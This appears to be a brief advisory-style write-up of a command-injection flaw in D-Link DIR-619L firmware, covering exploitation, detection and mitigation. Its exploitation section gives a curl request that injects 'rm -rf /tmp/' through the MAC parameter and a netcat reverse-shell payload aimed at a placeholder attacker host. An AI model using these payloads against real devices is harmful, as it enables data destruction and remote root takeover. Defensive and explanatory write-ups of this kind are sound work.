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How CVE-2025-4454 Works
The vulnerability in D-Link DIR-619L firmware v2.04B04 resides in the `wake_on_lan` function, which improperly sanitizes the `mac` parameter. An attacker can craft a malicious MAC address containing shell metacharacters (e.g., ;,|,&), leading to arbitrary command execution under root context. The unsupported firmware lacks input validation, allowing remote exploitation via LAN/WAN interfaces. The CVSS 4.0 vector (AV:N/AC:L/PR:L) reflects network-based attack feasibility with low complexity.
DailyCVE Form:
Platform: D-Link DIR-619L
Version: 2.04B04
Vulnerability: Command Injection
Severity: Critical
Date: 05/13/2025
What Undercode Say:
Exploitation:
1. Payload Crafting:
curl -X POST "http://<TARGET_IP>/wake_on_lan.cgi" -d "mac=00:11:22;rm -rf /tmp/"
2. Reverse Shell:
mac=00:11:22;nc -e /bin/sh <ATTACKER_IP> 4444
Detection:
grep -r "wake_on_lan" /www/cgi-bin/ Locate vulnerable endpoint
Mitigation:
1. Input Sanitization Patch:
// Example patch for mac validation
if (!regex_match(mac, "^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$")) {
exit(1);
}
2. Network Controls:
iptables -A INPUT -p tcp --dport 80 -j DROP Block WAN access
Forensic Analysis:
logread | grep "wake_on_lan" Check logs for exploitation attempts
References:
No unsolicited commentary. Strictly technical.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
